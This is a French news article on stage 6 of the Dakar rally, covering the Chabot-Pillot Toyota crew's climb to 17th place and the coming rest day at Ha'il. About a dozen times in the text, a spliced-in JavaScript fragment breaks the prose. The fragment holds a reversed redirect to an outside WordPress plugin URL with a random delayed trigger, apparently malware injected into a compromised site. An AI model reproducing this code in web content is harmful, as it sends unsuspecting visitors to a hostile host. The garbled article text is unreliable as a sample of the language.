Étape 6
Buraydah > Ha’il


Le duo Chabot-Pillot s’est offert une incroyable remontée, de la 27e à la 17e place. Au classement général, ils s’insèrent dans le ‘toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top 30’ et entrevoient avec enthousiasme la suite de la compétition, qui reprendra après la journée de repos de ce samedi.

Le Dakar est un événement à part. Car si des concurrents s’élancent toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les jours, que des centaines de kilomètres doivent être avalés, aucune journée ne se ressemble. Et l’épreuve, qui a connu les fortes chaleurs africaines, les averses et même la neige au Pérou et en Bolivie, doit désormais s’adapter à un froid tenace. À Haïl, lieu du bivouac du soir, le mercure s’était abaissé en-dessous des 10°C en cet fin d’après-midi. Bonnet et veste sont donc de rigueur dès que Ronan Chabot et Gilles Pillot quittent leur cabine.

« La première étape 100% plaisir ! »

Mais cela ne les empêche pas d’arborer un large sourire. Car, enfin, ils sont « dans le bon wagon » ! Finies les journées à batailler dans la poussière des autres pilotes. Désormais, le duo va pouvoir enfin s’exprimer, naviguer et batailler avec le premier tiers des concurrents. Pour y parvenir, il a fallu s’accrocher et toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout donner pendant les 471 km de spéciale garantie 100% sables. « À nouveau, c’était magnifique. Avec la lumière du soleil, les dunes changent de couleurs, passent du blanc à l’ocre. Les reliefs changent et il faut constamment s’adapter, trouver la bonne trace, surfer… C’est pour ça qu’on est là ! »

Ce plaisir non-dissimulé se retrouve à la lecture de chacun des points de passage. Parti 27e, l’équipage n°322 a débuté une lente remontée : 25e au km 108, 22e au km 202, 19e au km 404 pour finalement franchir la ligne d’arrivée en 17e position. « Ça fait du bien, apprécie le pilote. Le plus dur, ça a été de dépasser les camions. Ensuite, dans les dunes et l’herbe à chameaux, on a doublé à n’en plus finir… C’était une journée physique mais particulièrement agréable ». Ronan avoue qu’il s’agit « de la première étape 100% plaisir ! »

« Je n’ai pas vu la semaine passer ! »

Au classement général, leur Toyota se hisse dans le ‘toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top 30’ à la 29e place. De quoi leur assurer des positions de départ plus avantageuse pour la suite de la compétition. « On va retrouver des spéciales ‘claires’ avec davantage de marge de manœuvre ». Et avec le sourire, il est forcément plus facile de faire le bilan de cette première semaine : « sans les cinq crevaisons le premier jour, le Dakar aurait été différent, analyse Ronan. Mais nous savons que les Dakar sont toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous différents. C’est une course d’endurance, il faut le tenir et il faut éviter les erreurs ». Et le pilote d’insister : « même ce soir, il y a plein de concurrents qui ne sont pas arrivés ». C’était d’ailleurs le cas de Sébastien Loeb ce vendredi soir, englué dans les dunes pour un problème mécanique.

« Tous les jours, on joue à l’ascenseur émotionnel. Ceux qui s’en sortent, ce sont les plus réguliers. La règle, c’est de finir placé toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les jours. » À entendre Ronan, on se dit que les deux hommes pourraient repartir dès demain. Mais ils vont enfin profiter d’un peu de répit avec la journée de repos qui s’annonce à Haïl. « Je n’ai pas vu la semaine passée mais je me sens fatigué. On va essayer de bien récupérer et de profiter de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute l’équipe. »

Cette journée de repos ne ressemblera à aucune autre. Contrairement aux autres éditions, il est impossible de sortir du bivouac afin de respecter les contraintes sanitaires. Ronan hausse les épaules : « on va profiter pour passer de bons moments avec toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute l’équipe ». Un état d’esprit – le fameux « esprit Dakar » – qui semble exacerbé cette année. « On sent qu’on est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous très heureux d’être là. Personne n’a oublié le contexte actuel. On va donner le meilleur de nous-mêmes. »

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